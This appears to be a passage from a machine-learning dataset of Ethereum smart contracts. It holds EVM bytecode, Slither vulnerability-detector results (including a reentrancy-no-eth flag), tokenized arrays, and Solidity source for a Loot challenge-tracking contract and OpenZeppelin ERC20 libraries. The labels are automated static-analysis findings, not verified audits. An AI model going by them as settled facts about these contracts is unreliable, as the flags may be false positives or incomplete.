9050565b6000614891601283614ecc565b915061489c82615827565b602082019050919050565b60006148b4603183614ecc565b91506148bf82615850565b604082019050919050565b60006148d7602c83614ecc565b91506148e28261589f565b604082019050919050565b60006148fa601783614ecc565b9150614905826158ee565b602082019050919050565b600061491d601b83614ecc565b915061492882615917565b602082019050919050565b61493c81615067565b82525050565b61494b81615067565b82525050565b600061495d82856144d2565b915061496982846144d2565b91506149748261478f565b91508190509392505050565b600061498c8285614503565b915061499882846144d2565b91506149a38261478f565b91508190509392505050565b60006149ba82614861565b9150819050919050565b60006020820190506149d960008301846143e4565b92915050565b60006080820190506149f460008301876143e4565b614a0160208301866143e4565b614a0e6040830185614942565b8181036060830152614a208184614460565b905095945050505050565b60006020820190508181036000830152614a4581846143f3565b905092915050565b6000602082019050614a626000830184614451565b92915050565b60006020820190508181036000830152614a828184614499565b905092915050565b60006020820190508181036000830152614aa381614582565b9050919050565b60006020820190508181036000830152614ac3816145a5565b9050919050565b60006020820190508181036000830152614ae3816145c8565b9050919050565b60006020820190508181036000830152614b03816145eb565b9050919050565b60006020820190508181036000830152614b238161460e565b9050919050565b60006020820190508181036000830152614b4381614631565b9050919050565b60006020820190508181036000830152614b6381614654565b9050919050565b60006020820190508181036000830152614b8381614677565b9050919050565b60006020820190508181036000830152614ba38161469a565b9050919050565b60006020820190508181036000830152614bc3816146bd565b9050919050565b60006020820190508181036000830152614be3816146e0565b9050919050565b60006020820190508181036000830152614c0381614703565b9050919050565b60006020820190508181036000830152614c2381614726565b9050919050565b60006020820190508181036000830152614c4381614749565b9050919050565b60006020820190508181036000830152614c638161476c565b9050919050565b60006020820190508181036000830152614c83816147b2565b9050919050565b60006020820190508181036000830152614ca3816147d5565b9050919050565b60006020820190508181036000830152614cc3816147f8565b9050919050565b60006020820190508181036000830152614ce38161481b565b9050919050565b60006020820190508181036000830152614d038161483e565b9050919050565b60006020820190508181036000830152614d2381614884565b9050919050565b60006020820190508181036000830152614d43816148a7565b9050919050565b60006020820190508181036000830152614d63816148ca565b9050919050565b60006020820190508181036000830152614d83816148ed565b9050919050565b60006020820190508181036000830152614da381614910565b9050919050565b6000602082019050614dbf6000830184614942565b92915050565b6000614dcf614de0565b9050614ddb82826150e5565b919050565b6000604051905090565b600067ffffffffffffffff821115614e0557614e0461527b565b5b614e0e826152c8565b9050602081019050919050565b600067ffffffffffffffff821115614e3657614e3561527b565b5b614e3f826152c8565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614ef382615067565b9150614efe83615067565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f3357614f32615190565b5b828201905092915050565b6000614f4982615067565b9150614f5483615067565b925082614f6457614f636151bf565b5b828204905092915050565b6000614f7a82615067565b9150614f8583615067565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614fbe57614fbd615190565b5b828202905092915050565b6000614fd482615067565b9150614fdf83615067565b925082821015614ff257614ff1615190565b5b828203905092915050565b600061500882615047565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561509e578082015181840152602081019050615083565b838111156150ad576000848401525b50505050565b600060028204905060018216806150cb57607f821691505b602082108114156150df576150de6151ee565b5b50919050565b6150ee826152c8565b810181811067ffffffffffffffff8211171561510d5761510c61527b565b5b80604052505050565b600061512182615067565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561515457615153615190565b5b600182019050919050565b600061516a82615067565b915061517583615067565b925082615185576151846151bf565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f6d6178204e465420706572206164647265737320657863656564656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f6d6178204e4654206c696d697420657863656564656400000000000000000000600082015250565b7f6d6178206d696e7420616d6f756e74207065722073657373696f6e206578636560008201527f6564656400000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f74686520636f6e74726163742069732070617573656400000000000000000000600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f696e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f75736572206973206e6f742077686974656c6973746564000000000000000000600082015250565b7f6e65656420746f206d696e74206174206c656173742031204e46540000000000600082015250565b61594981614ffd565b811461595457600080fd5b50565b6159608161500f565b811461596b57600080fd5b50565b6159778161501b565b811461598257600080fd5b50565b61598e81615067565b811461599957600080fd5b5056fea264697066735822122040068e5fb7665de4a64fcad31466eb4e0ef7ee13a1035a5eed4ba09433b9a4d164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 27009, 2549, 7011, 16048, 2094, 26976, 2581, 21084, 2575, 2063, 2487, 9818, 22932, 10790, 2278, 2692, 7959, 22407, 2575, 2546, 2692, 2278, 2546, 2581, 16703, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 10733, 7677, 4135, 2003, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1010, 2219, 3085, 1063, 2478, 7817, 2005, 21318, 3372, 17788, 2575, 1025, 5164, 2270, 2918, 9496, 1025, 5164, 2270, 10289, 3726, 9453, 24979, 2072, 1025, 21318, 3372, 17788, 2575, 2270, 3465, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,332
0x969574336570EE29B87C653e50aF4E2499f4FaAD
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract LootCharacterChallenges is Ownable, Pausable { mapping(uint256 => mapping(uint256 => bool)) public completed; // ChallengeID => LootCharacterID => Completed mapping(address => bool) public updaters; modifier onlyUpdater(address updater) { require(updaters[updater]); _; } constructor() {} function updateChallengeStatus(uint256 challengeId, uint256 lootCharacterId, bool _completed) external whenNotPaused onlyUpdater(msg.sender) { completed[challengeId][lootCharacterId] = _completed; } function setUpdater(address updater, bool canUpdate) external onlyOwner { updaters[updater] = canUpdate; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638da5cb5b1161005b5780638da5cb5b14610101578063cae004371461011f578063cb846e431461014f578063f2fde38b1461016b57610088565b80631a1533911461008d57806354a055c1146100a95780635c975abb146100d9578063715018a6146100f7575b600080fd5b6100a760048036038101906100a29190610681565b610187565b005b6100c360048036038101906100be9190610658565b61025e565b6040516100d09190610867565b60405180910390f35b6100e161027e565b6040516100ee9190610867565b60405180910390f35b6100ff610294565b005b61010961031c565b604051610116919061084c565b60405180910390f35b610139600480360381019061013491906106bd565b610345565b6040516101469190610867565b60405180910390f35b610169600480360381019061016491906106f9565b610374565b005b61018560048036038101906101809190610658565b610455565b005b61018f61054d565b73ffffffffffffffffffffffffffffffffffffffff166101ad61031c565b73ffffffffffffffffffffffffffffffffffffffff1614610203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101fa906108c2565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60008060149054906101000a900460ff16905090565b61029c61054d565b73ffffffffffffffffffffffffffffffffffffffff166102ba61031c565b73ffffffffffffffffffffffffffffffffffffffff1614610310576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610307906108c2565b60405180910390fd5b61031a6000610555565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b61037c61027e565b156103bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b3906108a2565b60405180910390fd5b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661041357600080fd5b8160016000868152602001908152602001600020600085815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b61045d61054d565b73ffffffffffffffffffffffffffffffffffffffff1661047b61031c565b73ffffffffffffffffffffffffffffffffffffffff16146104d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c8906108c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053890610882565b60405180910390fd5b61054a81610555565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506106288161093b565b92915050565b60008135905061063d81610952565b92915050565b60008135905061065281610969565b92915050565b60006020828403121561066a57600080fd5b600061067884828501610619565b91505092915050565b6000806040838503121561069457600080fd5b60006106a285828601610619565b92505060206106b38582860161062e565b9150509250929050565b600080604083850312156106d057600080fd5b60006106de85828601610643565b92505060206106ef85828601610643565b9150509250929050565b60008060006060848603121561070e57600080fd5b600061071c86828701610643565b935050602061072d86828701610643565b925050604061073e8682870161062e565b9150509250925092565b610751816108f3565b82525050565b61076081610905565b82525050565b60006107736026836108e2565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006107d96010836108e2565b91507f5061757361626c653a20706175736564000000000000000000000000000000006000830152602082019050919050565b60006108196020836108e2565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006020820190506108616000830184610748565b92915050565b600060208201905061087c6000830184610757565b92915050565b6000602082019050818103600083015261089b81610766565b9050919050565b600060208201905081810360008301526108bb816107cc565b9050919050565b600060208201905081810360008301526108db8161080c565b9050919050565b600082825260208201905092915050565b60006108fe82610911565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b610944816108f3565b811461094f57600080fd5b50565b61095b81610905565b811461096657600080fd5b50565b61097281610931565b811461097d57600080fd5b5056fea2646970667358221220a4ddaf779a767e71317d3e495a380370b08a0cd8c7e5515bd6828ae43d4f96b164736f6c63430008000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2683, 28311, 23777, 21619, 28311, 2692, 4402, 24594, 2497, 2620, 2581, 2278, 26187, 2509, 2063, 12376, 10354, 2549, 2063, 18827, 2683, 2683, 2546, 2549, 7011, 4215, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 29025, 19150, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 3206, 8840, 4140, 7507, 22648, 3334, 18598, 7770, 8449, 2003, 2219, 3085, 1010, 29025, 19150, 1063, 12375, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,333
0x9695e0114e12C0d3A3636fAb5A18e6b737529023
/** ``..-------..` `.:/+ooooooooooooooooo+/-.` `-:+ooooooooooooooooooooooooooo+:. `-/ooooooooooooooooooooooooooooooooooo/. .:+oooooooooooooooooooooooooooooooooooooooo:` ./++++++++++o++:::::::::://++oooooooooooooooooo:` `:++++++++++++++- `.:/oooooooooooooooo- .+++++++++++++++/ `/ooooooooooooooo+` -++++++++++++++++. .oooooooooooooooo. :++++++++++++++++/ -oooooooooooooooo. -+++++++++++++++++. +oooooooooooooooo. .+++++++++++++++++: +oooooooooooooooo+ /+++++++++++++++++` +ooooooooooooooooo: .+++++++++++++++++: .ooooooooooooooooooo :+++++++++++++++++` `+ooooooooooooooooooo- /++++++++++++++++- `/+ooooooooooooooooooo: /++++++++++++++++ `````````-+oooooooooo/ /+++++++++++++++- .+oooooooooooo/ :++++++++++++++/ .+oooooooooooooo- -++++++++++++++:.............. -+oooooooooooooooo` `/+++++++++++++++++++++++++++/ -+++ooooooooooooooo/ -+++++++++++++++++++++++++++. -++++++oooooooooooooo. /+++++++++++++++++++++++++/ -++++++++ooooooooooooo: `/++++++++++++++++++++++++. -+++++++++++ooooooooooo/ `/++++++++++++++++++++++: -+++++++++++++oooooooooo/ :+++++++++++++++++++++` -+++++++++++++++ooooooooo- ./++++++++++++++++++: `-+++++++++++++++++ooooooo+. `-/++++++++++++++++` `-+++++++++++++++++++ooooo+- `-++++++++++++++: `-+++++++++++++++++++++ooo+- -/+++++++++++.:++++++++++++++++++++++++/. `-/+++++++++++++++++++++++++++++++/-` .-:/+++++++++++++++++++++/:-` `.-:::///////:::-.` */ // File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select 